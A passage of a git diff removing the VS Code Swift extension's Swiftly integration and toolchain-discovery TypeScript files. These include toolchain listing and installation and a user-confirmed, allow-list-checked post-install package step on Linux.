toolchain version parsing in Swiftly. * Until Swiftly can report the location of the toolchains under its management diff --git a/src/toolchain/swiftly.ts b/src/toolchain/swiftly.ts deleted file mode 100644 index b041125ee..000000000 --- a/src/toolchain/swiftly.ts +++ /dev/null @@ -1,654 +0,0 @@ -//===----------------------------------------------------------------------===// -// -// This source file is part of the VS Code Swift open source project -// -// Copyright (c) 2025 the VS Code Swift project authors -// Licensed under Apache License v2.0 -// -// See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VS Code Swift project authors -// -// SPDX-License-Identifier: Apache-2.0 -// -//===----------------------------------------------------------------------===// -import * as fsSync from "fs"; -import * as fs from "fs/promises"; -import * as os from "os"; -import * as path from "path"; -import * as readline from "readline"; -import * as Stream from "stream"; -import * as vscode from "vscode"; -import { z } from "zod/v4/mini"; - -import { SwiftLogger } from "../logging/SwiftLogger"; -import { findBinaryPath } from "../utilities/shell"; -import { ExecFileError, execFile, execFileStreamOutput } from "../utilities/utilities"; -import { Version } from "../utilities/version"; -import { SwiftlyConfig } from "./ToolchainVersion"; - -const ListResult = z.object({ - toolchains: z.array( - z.object({ - inUse: z.boolean(), - isDefault: z.boolean(), - version: z.discriminatedUnion("type", [ - z.object({ - major: z.union([z.number(), z.undefined()]), - minor: z.union([z.number(), z.undefined()]), - patch: z.union([z.number(), z.undefined()]), - name: z.string(), - type: z.literal("stable"), - }), - z.object({ - major: z.union([z.number(), z.undefined()]), - minor: z.union([z.number(), z.undefined()]), - branch: z.string(), - date: z.string(), - name: z.string(), - type: z.literal("snapshot"), - }), - ]), - }) - ), -}); - -const InUseVersionResult = z.object({ - version: z.string(), -}); - -const StableVersion = z.object({ - major: z.number(), - minor: z.number(), - patch: z.number(), - name: z.string(), - type: z.literal("stable"), -}); - -export type StableVersion = z.infer; - -const SnapshotVersion = z.object({ - major: z.union([z.number(), z.undefined()]), - minor: z.union([z.number(), z.undefined()]), - branch: z.string(), - date: z.string(), - name: z.string(), - type: z.literal("snapshot"), -}); - -export type SnapshotVersion = z.infer; - -const AvailableToolchain = z.object({ - inUse: z.boolean(), - installed: z.boolean(), - isDefault: z.boolean(), - version: z.discriminatedUnion("type", [StableVersion, SnapshotVersion]), -}); - -export function isStableVersion( - version: StableVersion | SnapshotVersion -): version is StableVersion { - return version.type === "stable"; -} - -export function isSnapshotVersion( - version: StableVersion | SnapshotVersion -): version is SnapshotVersion { - return version.type === "snapshot"; -} - -const ListAvailableResult = z.object({ - toolchains: z.array(AvailableToolchain), -}); -export type AvailableToolchain = z.infer; - -export interface SwiftlyProgressData { - step?: { - text?: string; - timestamp?: number; - percent?: number; - }; -} - -export interface PostInstallValidationResult { - isValid: boolean; - summary: string; - invalidCommands?: string[]; -} - -export class Swiftly { - /** - * Finds the version of Swiftly installed on the system. - * - * @returns the version of Swiftly as a `Version` object, or `undefined` - * if Swiftly is not installed or not supported. - */ - public static async version(logger?: SwiftLogger): Promise { - if (!Swiftly.isSupported()) { - return undefined; - } - try { - const { stdout } = await execFile("swiftly", ["--version"]); - return Version.fromString(stdout.trim()); - } catch (error) { - logger?.error(`Failed to retrieve Swiftly version: ${error}`); - return undefined; - } - } - - /** - * Checks if the installed version of Swiftly supports JSON output. - * - * @returns `true` if JSON output is supported, `false` otherwise. - */ - private static async supportsJsonOutput(logger?: SwiftLogger): Promise { - if (!Swiftly.isSupported()) { - return false; - } - try { - const { stdout } = await execFile("swiftly", ["--version"]); - const version = Version.fromString(stdout.trim()); - return version?.isGreaterThanOrEqual(new Version(1, 1, 0)) ?? false; - } catch (error) { - logger?.error(`Failed to check Swiftly JSON support: ${error}`); - return false; - } - } - - /** - * Finds the list of toolchains managed by Swiftly. - * - * @returns an array of toolchain paths - */ - public static async listAvailableToolchains(logger?: SwiftLogger): Promise { - if (!this.isSupported()) { - return []; - } - const version = await Swiftly.version(logger); - if (!version) { - logger?.warn("Swiftly is not installed"); - return []; - } - - if (!(await Swiftly.supportsJsonOutput(logger))) { - return await Swiftly.getToolchainInstallLegacy(logger); - } - - return await Swiftly.getListAvailableToolchains(logger); - } - - private static async getListAvailableToolchains(logger?: SwiftLogger): Promise { - try { - const { stdout } = await execFile("swiftly", ["list", "--format=json"]); - const response = ListResult.parse(JSON.parse(stdout)); - return response.toolchains.map(t => t.version.name); - } catch (error) { - logger?.error(`Failed to retrieve Swiftly installations: ${error}`); - return []; - } - } - - private static async getToolchainInstallLegacy(logger?: SwiftLogger) { - try { - const swiftlyHomeDir: string | undefined = process.env["SWIFTLY_HOME_DIR"]; - if (!swiftlyHomeDir) { - return []; - } - const swiftlyConfig = await Swiftly.getConfig(); - if (!swiftlyConfig || !("installedToolchains" in swiftlyConfig)) { - return []; - } - const installedToolchains = swiftlyConfig.installedToolchains; - if (!Array.isArray(installedToolchains)) { - return []; - } - return installedToolchains - .filter((toolchain): toolchain is string => typeof toolchain === "string") - .map(toolchain => path.join(swiftlyHomeDir, "toolchains", toolchain)); - } catch (error) { - logger?.error(`Failed to retrieve Swiftly installations: ${error}`); - throw new Error( - `Failed to retrieve Swiftly installations from disk: ${(error as Error).message}` - ); - } - } - - public static isSupported() { - return process.platform === "linux" || process.platform === "darwin"; - } - - public static async inUseLocation(swiftlyPath: string = "swiftly", cwd?: vscode.Uri) { - const { stdout: inUse } = await execFile(swiftlyPath, ["use", "--print-location"], { - cwd: cwd?.fsPath, - }); - return inUse.trimEnd(); - } - - public static async inUseVersion( - swiftlyPath: string = "swiftly", - cwd?: vscode.Uri - ): Promise { - if (!this.isSupported()) { - throw new Error("Swiftly is not supported on this platform"); - } - - if (!(await Swiftly.supportsJsonOutput())) { - return undefined; - } - - const { stdout } = await execFile(swiftlyPath, ["use", "--format=json"], { - cwd: cwd?.fsPath, - }); - const result = InUseVersionResult.parse(JSON.parse(stdout)); - return result.version; - } - - public static async use(version: string): Promise { - if (!this.isSupported()) { - throw new Error("Swiftly is not supported on this platform"); - } - await execFile("swiftly", ["use", version]); - } - - /** - * Determine if Swiftly is being used to manage the active toolchain and if so, return - * the path to the active toolchain. - * @returns The location of the active toolchain if swiftly is being used to manage it. - */ - public static async toolchain( - logger?: SwiftLogger, - cwd?: vscode.Uri - ): Promise { - const swiftlyHomeDir: string | undefined = process.env["SWIFTLY_HOME_DIR"]; - if (swiftlyHomeDir) { - const { stdout: swiftLocation } = await execFile("which", ["swift"]); - if (swiftLocation.startsWith(swiftlyHomeDir)) { - // Print the location of the toolchain that swiftly is using. If there - // is no cwd specified then it returns the global "inUse" toolchain otherwise - // it respects the .swift-version file in the cwd and resolves using that. - try { - const inUse = await Swiftly.inUseLocation("swiftly", cwd); - if (inUse.length > 0) { - return path.join(inUse, "usr"); - } - } catch (err: unknown) { - logger?.error(`Failed to retrieve Swiftly installations: ${err}`); - const error = err as ExecFileError; - // Its possible the toolchain in .swift-version is misconfigured or doesn't exist. - void vscode.window.showErrorMessage( - `Failed to load toolchain from Swiftly: ${error.stderr}` - ); - } - } - } - return undefined; - } - - /** - * Lists all toolchains available for installation from swiftly - * - * @param branch Optional branch to filter available toolchains (e.g., "main" for snapshots) - * @param logger Optional logger for error reporting - * @returns Array of available toolchains - */ - public static async listAvailable( - logger?: SwiftLogger, - branch?: string - ): Promise { - if (!this.isSupported()) { - return []; - } - - const version = await Swiftly.version(logger); - if (!version) { - logger?.warn("Swiftly is not installed"); - return []; - } - - if (!(await Swiftly.supportsJsonOutput(logger))) { - logger?.warn("Swiftly version does not support JSON output for list-available"); - return []; - } - - try { - const args = ["list-available", "--format=json"]; - if (branch) { - args.push(branch); - } - const { stdout: availableStdout } = await execFile("swiftly", args); - return ListAvailableResult.parse(JSON.parse(availableStdout)).toolchains; - } catch (error) { - logger?.error(`Failed to retrieve available Swiftly toolchains: ${error}`); - return []; - } - } - - /** - * Installs a toolchain via swiftly with optional progress tracking - * - * @param version The toolchain version to install - * @param progressCallback Optional callback that receives progress data as JSON objects - * @param logger Optional logger for error reporting - */ - public static async installToolchain( - version: string, - progressCallback?: (progressData: SwiftlyProgressData) => void, - logger?: SwiftLogger - ): Promise { - if (!this.isSupported()) { - throw new Error("Swiftly is not supported on this platform"); - } - - logger?.info(`Installing toolchain ${version} via swiftly`); - - const tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "vscode-swift-")); - const postInstallFilePath = path.join(tmpDir, `post-install-${version}.sh`); - - let progressPipePath: string | undefined; - let progressPromise: Promise | undefined; - - if (progressCallback) { - progressPipePath = path.join(tmpDir, `progress-${version}.pipe`); - - await execFile("mkfifo", [progressPipePath]); - - progressPromise = new Promise((resolve, reject) => { - const rl = readline.createInterface({ - input: fsSync.createReadStream(progressPipePath!), - crlfDelay: Infinity, - }); - - rl.on("line", (line: string) => { - try { - const progressData = JSON.parse(line.trim()) as SwiftlyProgressData; - progressCallback(progressData); - } catch (err) { - logger?.error(`Failed to parse progress line: ${err}`); - } - }); - - rl.on("close", () => { - resolve(); - }); - - rl.on("error", err => { - reject(err); - }); - }); - } - - const installArgs = [ - "install", - version, - "--use", - "--assume-yes", - "--post-install-file", - postInstallFilePath, - ]; - - if (progressPipePath) { - installArgs.push("--progress-file", progressPipePath); - } - - try { - const installPromise = execFile("swiftly", installArgs); - - if (progressPromise) { - await Promise.all([installPromise, progressPromise]); - } else { - await installPromise; - } - - if (process.platform === "linux") { - await this.handlePostInstallFile(postInstallFilePath, version, logger); - } - } finally { - if (progressPipePath) { - try { - await fs.unlink(progressPipePath); - } catch { - // Ignore errors if the pipe file doesn't exist - } - } - try { - await fs.unlink(postInstallFilePath); - } catch { - // Ignore errors if the post-install file doesn't exist - } - } - } - - /** - * Handles post-install file created by swiftly installation (Linux only) - * - * @param postInstallFilePath Path to the post-install script - * @param version The toolchain version being installed - * @param logger Optional logger for error reporting - */ - private static async handlePostInstallFile( - postInstallFilePath: string, - version: string, - logger?: SwiftLogger - ): Promise { - try { - await fs.access(postInstallFilePath); - } catch { - logger?.info(`No post-install steps required for toolchain ${version}`); - return; - } - - logger?.info(`Post-install file found for toolchain ${version}`); - - const validation = await this.validatePostInstallScript(postInstallFilePath, logger); - - if (!validation.isValid) { - const errorMessage = `Post-install script contains unsafe commands. Invalid commands: ${validation.invalidCommands?.join(", ")}`; - logger?.error(errorMessage); - void vscode.window.showErrorMessage( - `Installation of Swift ${version} requires additional system packages, but the post-install script contains commands that are not allowed for security reasons.` - ); - return; - } - - const shouldExecute = await this.showPostInstallConfirmation(version, validation, logger); - - if (shouldExecute) { - await this.executePostInstallScript(postInstallFilePath, version, logger); - } else { - logger?.warn(`Swift ${version} post-install script execution cancelled by user`); - void vscode.window.showWarningMessage( - `Swift ${version} installation is incomplete. You may need to manually install additional system packages.` - ); - } - } - - /** - * Validates post-install script commands against allow-list patterns. - * Supports apt-get and yum package managers only. - * - * @param postInstallFilePath Path to the post-install script - * @param logger Optional logger for error reporting - * @returns Validation result with command summary - */ - private static async validatePostInstallScript( - postInstallFilePath: string, - logger?: SwiftLogger - ): Promise { - try { - const scriptContent = await fs.readFile(postInstallFilePath, "utf-8"); - const lines = scriptContent - .split("\n") - .filter(line => line.trim() && !line.trim().startsWith("#")); - - const allowedPatterns = [ - /^apt-get\s+-y\s+install(\s+[A-Za-z0-9\-_.+]+)+\s*$/, // apt-get -y install packages - /^yum\s+install(\s+[A-Za-z0-9\-_.+]+)+\s*$/, // yum install packages - /^\s*$|^#.*$/, // empty lines and comments - ]; - - const invalidCommands: string[] = []; - const packageInstallCommands: string[] = []; - - for (const line of lines) { - const trimmedLine = line.trim(); - if (!trimmedLine) { - continue; - } - - const isValid = allowedPatterns.some(pattern => pattern.test(trimmedLine)); - - if (!isValid) { - invalidCommands.push(trimmedLine); - } else if (trimmedLine.includes("install")) { - packageInstallCommands.push(trimmedLine); - } - } - - const isValid = invalidCommands.length === 0; - - let summary = "The script will perform the following actions:\n"; - if (packageInstallCommands.length > 0) { - summary += `• Install system packages using package manager\n`; - summary += `• Commands: ${packageInstallCommands.join("; ")}`; - } else { - summary += "• No package installations detected"; - } - - return { - isValid, - summary, - invalidCommands: invalidCommands.length > 0 ? invalidCommands : undefined, - }; - } catch (error) { - logger?.error(`Failed to validate post-install script: ${error}`); - return { - isValid: false, - summary: "Failed to read post-install script", - invalidCommands: ["Unable to read script file"], - }; - } - } - - /** - * Shows confirmation dialog to user for executing post-install script - * - * @param version The toolchain version being installed - * @param validation The validation result - * @param logger - * @returns Promise resolving to user's decision - */ - private static async showPostInstallConfirmation( - version: string, - validation: PostInstallValidationResult, - logger?: SwiftLogger - ): Promise { - const summaryLines = validation.summary.split("\n"); - const firstTwoLines = summaryLines.slice(0, 2).join("\n"); - - const message = - `Swift ${version} installation requires additional system packages to be installed. ` + - `This will require administrator privileges.\n\n${firstTwoLines}\n\n` + - `Do you want to proceed with running the post-install script?`; - - logger?.warn( - `User confirmation required to execute post-install script for Swift ${version} installation, - this requires ${firstTwoLines} permissions.` - ); - const choice = await vscode.window.showWarningMessage( - message, - { modal: true }, - "Execute Script", - "Cancel" - ); - - return choice === "Execute Script"; - } - - /** - * Executes post-install script with elevated permissions (Linux only) - * - * @param postInstallFilePath Path to the post-install script - * @param version The toolchain version being installed - * @param logger Optional logger for error reporting - */ - private static async executePostInstallScript( - postInstallFilePath: string, - version: string, - logger?: SwiftLogger - ): Promise { - logger?.info(`Executing post-install script for toolchain ${version}`); - - const outputChannel = vscode.window.createOutputChannel(`Swift ${version} Post-Install`); - - try { - outputChannel.show(true); - outputChannel.appendLine(`Executing post-install script for Swift ${version}...`); - outputChannel.appendLine(`Script location: ${postInstallFilePath}`); - outputChannel.appendLine(""); - - await execFile("chmod", ["+x", postInstallFilePath]); - - const command = "pkexec"; - const args = [postInstallFilePath]; - - outputChannel.appendLine(`Executing: ${command} ${args.join(" ")}`); - outputChannel.appendLine(""); - - const outputStream = new Stream.Writable({ - write(chunk, _encoding, callback) { - const text = chunk.toString(); - outputChannel.append(text); - callback(); - }, - }); - - await execFileStreamOutput(command, args, outputStream, outputStream, null, {}); - - outputChannel.appendLine(""); - outputChannel.appendLine( - `Post-install script completed successfully for Swift ${version}` - ); - - void vscode.window.showInformationMessage( - `Swift ${version} post-install script executed successfully. Additional system packages have been installed.` - ); - } catch (error) { - const errorMsg = `Failed to execute post-install script: ${error}`; - logger?.error(errorMsg); - outputChannel.appendLine(""); - outputChannel.appendLine(`Error: ${errorMsg}`); - - void vscode.window.showErrorMessage( - `Failed to execute post-install script for Swift ${version}. Check the output channel for details.` - ); - } - } - - /** - * Reads the Swiftly configuration file, if it exists. - * - * @returns A parsed Swiftly configuration. - */ - private static async getConfig(): Promise { - const swiftlyHomeDir: string | undefined = process.env["SWIFTLY_HOME_DIR"]; - if (!swiftlyHomeDir) { - return; - } - const swiftlyConfigRaw = await fs.readFile( - path.join(swiftlyHomeDir, "config.json"), - "utf-8" - ); - return JSON.parse(swiftlyConfigRaw); - } - - public static async isInstalled(): Promise { - if (!this.isSupported()) { - return false; - } - try { - await findBinaryPath("swiftly"); - return true; - } catch (error) { - return false; - } - } -} diff --git a/src/toolchain/toolchain.ts b/src/toolchain/toolchain.ts deleted file mode 100644 index aa4f0e88c..000000000 --- a/src/toolchain/toolchain.ts +++ /dev/null @@ -1,924 +0,0 @@ -//===----------------------------------------------------------------------===// -// -// This source file is part of the VS Code Swift open source project -// -// Copyright (c) 2021-2023 the VS Code Swift project authors -// Licensed under Apache License v2.0 -// -// See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VS Code Swift project authors -// -// SPDX-License-Identifier: Apache-2.0 -// -//===----------------------------------------------------------------------===// -import * as fs from "fs/promises"; -import * as os from "os"; -import * as path from "path"; -import * as plist from "plist"; -import * as vscode from "vscode"; - -import configuration from "../configuration"; -import { SwiftLogger } from "../logging/SwiftLogger"; -import { expandFilePathTilde, fileExists, pathExists } from "../utilities/filesystem"; -import { findBinaryPath } from "../utilities/shell"; -import { lineBreakRegex } from "../utilities/tasks"; -import { execFile, execSwift } from "../utilities/utilities"; -import { Version } from "../utilities/version"; -import { BuildFlags } from "./BuildFlags"; -import { Sanitizer } from "./Sanitizer"; -import { Swiftly } from "./swiftly"; - -/** - * Contents of **Info.plist** on Windows. - */ -interface InfoPlist { - DefaultProperties: { - XCTEST_VERSION: string | undefined; - SWIFT_TESTING_VERSION: string | undefined; - }; -} - -/** - * Project template information retrieved from `swift package init --help` - */ -export interface SwiftProjectTemplate { - id: string; - name: string; - description: string; -} - -/** - * Stripped layout of `swift -print-target-info` output. - */ -interface SwiftTargetInfo { - compilerVersion: string; - target?: { - triple: string; - unversionedTriple: string; - [name: string]: string | string[]; - }; - paths: { - runtimeLibraryPaths: string[]; - [name: string]: string | string[]; - }; - [name: string]: string | object | undefined; -} - -/** - * A Swift compilation target that can be compiled to - * from macOS. These are similar to XCode's target list. - */ -export enum DarwinCompatibleTarget { - iOS = "iOS", - tvOS = "tvOS", - watchOS = "watchOS", - visionOS = "xrOS", -} - -export function getDarwinSDKName(target: DarwinCompatibleTarget): string { - switch (target) { - case DarwinCompatibleTarget.iOS: - return "iphoneos"; - case DarwinCompatibleTarget.tvOS: - return "appletvos"; - case DarwinCompatibleTarget.watchOS: - return "watchos"; - case DarwinCompatibleTarget.visionOS: - return "xros"; - } -} - -export function getDarwinTargetTriple(target: DarwinCompatibleTarget): string | undefined { - switch (target) { - case DarwinCompatibleTarget.iOS: - return "arm64-apple-ios"; - case DarwinCompatibleTarget.tvOS: - return "arm64-apple-tvos"; - case DarwinCompatibleTarget.watchOS: - return "arm64-apple-watchos"; - case DarwinCompatibleTarget.visionOS: - return "arm64-apple-xros"; - } -} - -export class SwiftToolchain { - public swiftVersionString: string; - - constructor( - public swiftFolderPath: string, // folder swift executable in $PATH was found in - public toolchainPath: string, // toolchain folder. One folder up from swift bin folder. This is to support toolchains without usr folder - private targetInfo: SwiftTargetInfo, - public swiftVersion: Version, // Swift version as semVar variable - public runtimePath?: string, // runtime library included in output from `swift -print-target-info` - public defaultSDK?: string, - public customSDK?: string, - public xcTestPath?: string, - public swiftTestingPath?: string, - public swiftPMTestingHelperPath?: string, - public isSwiftlyManaged: boolean = false // true if this toolchain is managed by Swiftly - ) { - this.swiftVersionString = targetInfo.compilerVersion; - } - - static async create(folder?: vscode.Uri, logger?: SwiftLogger): Promise { - const { path: swiftFolderPath, isSwiftlyManaged } = await this.getSwiftFolderPath( - folder, - logger - ); - const toolchainPath = await this.getToolchainPath(swiftFolderPath, folder, logger); - const targetInfo = await this.getSwiftTargetInfo( - this._getToolchainExecutable(toolchainPath, "swift") - ); - const swiftVersion = this.getSwiftVersion(targetInfo); - const [runtimePath, defaultSDK] = await Promise.all([ - this.getRuntimePath(targetInfo), - this.getDefaultSDK(), - ]); - const customSDK = this.getCustomSDK(); - const [xcTestPath, swiftTestingPath, swiftPMTestingHelperPath] = await Promise.all([ - this.getXCTestPath( - targetInfo, - swiftFolderPath, - swiftVersion, - runtimePath, - customSDK ?? defaultSDK, - logger - ), - this.getSwiftTestingPath( - targetInfo, - swiftVersion, - runtimePath, - customSDK ?? defaultSDK, - logger - ), - this.getSwiftPMTestingHelperPath(toolchainPath), - ]); - - return new SwiftToolchain( - swiftFolderPath, - toolchainPath, - targetInfo, - swiftVersion, - runtimePath, - defaultSDK, - customSDK, - xcTestPath, - swiftTestingPath, - swiftPMTestingHelperPath, - isSwiftlyManaged - ); - } - - public get unversionedTriple(): string | undefined { - return this.targetInfo.target?.unversionedTriple; - } - - /** build flags */ - public get buildFlags(): BuildFlags { - return new BuildFlags(this); - } - - /** build flags */ - public sanitizer(name: string): Sanitizer | undefined { - return Sanitizer.create(name, this); - } - - /** - * Returns true if the console output of `swift test --parallel` prints results - * to stdout with newlines or not. - */ - public get hasMultiLineParallelTestOutput(): boolean { - return ( - this.swiftVersion.isLessThanOrEqual(new Version(5, 6, 0)) || - this.swiftVersion.isGreaterThanOrEqual(new Version(6, 0, 0)) - ); - } - - /** - * Get active developer dir for Xcode - */ - public static async getXcodeDeveloperDir(env?: { [key: string]: string }): Promise { - const { stdout } = await execFile("xcode-select", ["-p"], { - env: env, - }); - return stdout.trimEnd(); - } - - /** - * @param target Target to obtain the SDK path for - * @returns path to the SDK for the target - */ - public static async getSDKForTarget( - target: DarwinCompatibleTarget - ): Promise { - return await this.getSDKPath(getDarwinSDKName(target)); - } - - /** - * @param sdk sdk name - * @returns path to the SDK - */ - static async getSDKPath(sdk: string): Promise { - // Include custom variables so that non-standard XCode installs can be better supported. - const { stdout } = await execFile("xcrun", ["--sdk", sdk, "--show-sdk-path"], { - env: { ...process.env, ...configuration.swiftEnvironmentVariables }, - }); - return path.join(stdout.trimEnd()); - } - - /** - * Get the list of Xcode applications installed on macOS. - * - * Note: this uses a combination of xcode-select and the Spotlight index and may not contain - * all Xcode installations depending on the user's macOS settings. - * - * @returns an array of Xcode installations in no particular order. - */ - public static async findXcodeInstalls(): Promise { - if (process.platform !== "darwin") { - return []; - } - - // Use the Spotlight index and xcode-select to find available Xcode installations - const [{ stdout: mdfindOutput }, xcodeDeveloperDir] = await Promise.all([ - execFile("mdfind", [`kMDItemCFBundleIdentifier == 'com.apple.dt.Xcode'`]), - this.getXcodeDeveloperDir(), - ]); - const spotlightXcodes = - mdfindOutput.length > 0 ? mdfindOutput.trimEnd().split(lineBreakRegex) : []; - const selectedXcode = this.getXcodeDirectory(xcodeDeveloperDir); - - // Combine the results from both commands - const result = spotlightXcodes; - if (selectedXcode && spotlightXcodes.find(xcode => xcode === selectedXcode) === undefined) { - result.push(selectedXcode); - } - return result; - } - - /** - * Checks common directories for available swift toolchain installations. - * - * @returns an array of toolchain paths - */ - public static async getToolchainInstalls(): Promise { - if (process.platform !== "darwin") { - return []; - } - // TODO: If Swiftly is managing these toolchains then omit them - return Promise.all([ - this.findToolchainsIn("/Library/Developer/Toolchains/"), - this.findToolchainsIn(path.join(os.homedir(), "Library/Developer/Toolchains/")), - this.findCommandLineTools(), - ]).then(results => results.flatMap(a => a)); - } - - /** - * Searches the given directory for any swift toolchain installations. - * - * @param directory the directory path to search in - * @returns an array of toolchain paths - */ - public static async findToolchainsIn(directory: string): Promise { - try { - const toolchains = await Promise.all( - (await fs.readdir(directory, { withFileTypes: true })) - .filter(dirent => dirent.name.startsWith("swift-")) - .map(async dirent => { - const toolchainPath = path.join(dirent.path, dirent.name); - const toolchainSwiftPath = path.join(toolchainPath, "usr", "bin", "swift"); - if (!(await pathExists(toolchainSwiftPath))) { - return null; - } - return toolchainPath; - }) - ); - return toolchains.filter( - (toolchain): toolchain is string => typeof toolchain === "string" - ); - } catch { - // Assume that there are no installations here - return []; - } - } - - /** - * Get a list of new project templates from swift package manager - * @returns a {@link SwiftProjectTemplate} for each discovered project type - */ - public async getProjectTemplates(): Promise { - // Only swift versions >=5.8.0 are supported - if (this.swiftVersion.isLessThan(new Version(5, 8, 0))) { - return []; - } - // Parse the output from `swift package init --help` - const { stdout } = await execSwift(["package", "init", "--help"], "default"); - const lines = stdout.split(/\r?\n/g); - // Determine where the `--type` option is documented - let position = lines.findIndex(line => line.trim().startsWith("--type")); - if (position === -1) { - throw new Error("Unable to parse output from `swift package init --help`"); - } - // Loop through the possible project types in the output - position += 1; - const result: SwiftProjectTemplate[] = []; - const typeRegex = /^\s*([a-zA-z-]+)\s+-\s+(.+)$/; - for (; position < lines.length; position++) { - const line = lines[position]; - // Stop if we hit a new command line option - if (line.trim().startsWith("--")) { - break; - } - // Check if this is the start of a new project type - const match = line.match(typeRegex); - if (match) { - const nameSegments = match[1].split("-"); - result.push({ - id: match[1], - name: nameSegments - .map(seg => seg[0].toLocaleUpperCase() + seg.slice(1)) - .join(" "), - description: match[2], - }); - } else { - // Continuation of the previous project type - result[result.length - 1].description += " " + line.trim(); - } - } - return result; - } - - /** - * Returns the path to the CommandLineTools toolchain if its installed. - */ - public static async findCommandLineTools(): Promise { - const commandLineToolsPath = "/Library/Developer/CommandLineTools"; - if (!(await pathExists(commandLineToolsPath))) { - return []; - } - - const toolchainSwiftPath = path.join(commandLineToolsPath, "usr", "bin", "swift"); - if (!(await pathExists(toolchainSwiftPath))) { - return []; - } - return [commandLineToolsPath]; - } - - /** - * Return fullpath for toolchain executable - */ - public getToolchainExecutable(executable: string): string { - return SwiftToolchain._getToolchainExecutable(this.toolchainPath, executable); - } - - private static _getToolchainExecutable(toolchainPath: string, executable: string): string { - // should we add `.exe` at the end of the executable name - const executableSuffix = process.platform === "win32" ? ".exe" : ""; - return path.join(toolchainPath, "bin", executable + executableSuffix); - } - - /** - * Returns the path to the Xcode application given a toolchain path. Returns undefined - * if no application could be found. - * @param toolchainPath The toolchain path. - * @returns The path to the Xcode application or undefined if none. - */ - private static getXcodeDirectory(toolchainPath: string): string | undefined { - let xcodeDirectory = toolchainPath; - while (path.extname(xcodeDirectory) !== ".app") { - if (path.parse(xcodeDirectory).base === "") { - return undefined; - } - xcodeDirectory = path.dirname(xcodeDirectory); - } - return xcodeDirectory; - } - - /** - * Returns the path to the LLDB executable inside the selected toolchain. - * If the user is on macOS and has no OSS toolchain selected, also search - * inside Xcode. - * @returns The path to the `lldb` executable - * @throws Throws an error if the executable cannot be found - */ - public async getLLDB(): Promise { - return this.findToolchainOrXcodeExecutable("lldb"); - } - - /** - * Returns the path to the LLDB debug adapter executable inside the selected - * toolchain. If the user is on macOS and has no OSS toolchain selected, also - * search inside Xcode. - * @returns The path to the `lldb-dap` executable - * @throws Throws an error if the executable cannot be found - */ - public async getLLDBDebugAdapter(): Promise { - return this.findToolchainOrXcodeExecutable("lldb-dap"); - } - - /** - * Search for the supplied executable in the toolchain. - * If the user is on macOS and has no OSS toolchain selected, also - * search inside Xcode. - */ - private async findToolchainOrXcodeExecutable(executable: string): Promise { - if (process.platform === "win32") { - executable += ".exe"; - } - const toolchainExecutablePath = path.join(this.swiftFolderPath, executable); - - if (await pathExists(toolchainExecutablePath)) { - return toolchainExecutablePath; - } - - if (process.platform !== "darwin") { - throw new Error( - `Failed to find ${executable} within Swift toolchain '${this.toolchainPath}'` - ); - } - return this.findXcodeExecutable(executable); - } - - private async findXcodeExecutable(executable: string): Promise { - const xcodeDirectory = SwiftToolchain.getXcodeDirectory(this.toolchainPath); - if (!xcodeDirectory) { - throw new Error( - `Failed to find ${executable} within Swift toolchain '${this.toolchainPath}'` - ); - } - try { - const { stdout } = await execFile("xcrun", ["-find", executable], { - env: { ...process.env, DEVELOPER_DIR: xcodeDirectory }, - }); - return stdout.trimEnd(); - } catch (error) { - let errorMessage = `Failed to find ${executable} within Xcode Swift toolchain '${xcodeDirectory}'`; - if (error instanceof Error) { - errorMessage += `:\n${error.message}`; - } - throw new Error(errorMessage); - } - } - - private basePlatformDeveloperPath(): string | undefined { - const sdk = this.customSDK ?? this.defaultSDK; - if (!sdk) { - return undefined; - } - return path.resolve(sdk, "../../"); - } - - /** - * Library path for swift-testing executables - */ - public swiftTestingLibraryPath(): string | undefined { - let result = ""; - const base = this.basePlatformDeveloperPath(); - if (base) { - result = `${path.join(base, "usr/lib")}:`; - } - return `${result}${path.join(this.toolchainPath, "lib/swift/macosx/testing")}`; - } - - /** - * Framework path for swift-testing executables - */ - public swiftTestingFrameworkPath(): string | undefined { - const base = this.basePlatformDeveloperPath(); - if (!base) { - return undefined; - } - const frameworks = path.join(base, "Library/Frameworks"); - const privateFrameworks = path.join(base, "Library/PrivateFrameworks"); - return `${frameworks}:${privateFrameworks}`; - } - - get diagnostics(): string { - let str = ""; - str += this.swiftVersionString; - str += `\nPlatform: ${process.platform}`; - str += `\nVS Code Version: ${vscode.version}`; - str += `\nSwift Path: ${this.swiftFolderPath}`; - str += `\nToolchain Path: ${this.toolchainPath}`; - if (this.runtimePath) { - str += `\nRuntime Library Path: ${this.runtimePath}`; - } - if (this.targetInfo.target?.triple) { - str += `\nDefault Target: ${this.targetInfo.target?.triple}`; - } - if (this.defaultSDK) { - str += `\nDefault SDK: ${this.defaultSDK}`; - } - if (this.customSDK) { - str += `\nCustom SDK: ${this.customSDK}`; - } - if (this.xcTestPath) { - str += `\nXCTest Path: ${this.xcTestPath}`; - } - return str; - } - - logDiagnostics(logger: SwiftLogger) { - logger.debug(this.diagnostics); - } - - private static async getSwiftFolderPath( - cwd?: vscode.Uri, - logger?: SwiftLogger - ): Promise<{ path: string; isSwiftlyManaged: boolean }> { - try { - let swift: string; - if (configuration.path !== "") { - const windowsExeSuffix = process.platform === "win32" ? ".exe" : ""; - swift = path.join(configuration.path, `swift${windowsExeSuffix}`); - } else { - switch (process.platform) { - case "darwin": { - const { stdout } = await execFile("which", ["swift"]); - swift = stdout.trimEnd(); - break; - } - case "win32": { - const { stdout } = await execFile("where", ["swift"]); - const paths = stdout.trimEnd().split("\r\n"); - if (paths.length > 1) { - void vscode.window.showWarningMessage( - `Found multiple swift executables in in %PATH%. Using excutable found at ${paths[0]}` - ); - } - swift = paths[0]; - break; - } - default: { - swift = await findBinaryPath("swift"); - break; - } - } - } - // swift may be a symbolic link - let realSwift = await fs.realpath(swift); - let isSwiftlyManaged = false; - - if (path.basename(realSwift) === "swiftly") { - try { - const inUse = await Swiftly.inUseLocation(realSwift, cwd); - if (inUse) { - realSwift = path.join(inUse, "usr", "bin", "swift"); - isSwiftlyManaged = true; - } - } catch { - // Ignore, will fall back to original path - } - } - const swiftPath = expandFilePathTilde(path.dirname(realSwift)); - return { - path: await this.getSwiftEnvPath(swiftPath), - isSwiftlyManaged, - }; - } catch (error) { - logger?.error(`Failed to find swift executable: ${error}`); - throw Error("Failed to find swift executable"); - } - } - - /** - * swiftenv is a popular way to install swift on Linux. It uses shim shell scripts - * for all of the swift executables. This is problematic when we are trying to find - * the lldb version. Also swiftenv can also change the swift version beneath which - * could cause problems. This function will return the actual path to the swift - * executable 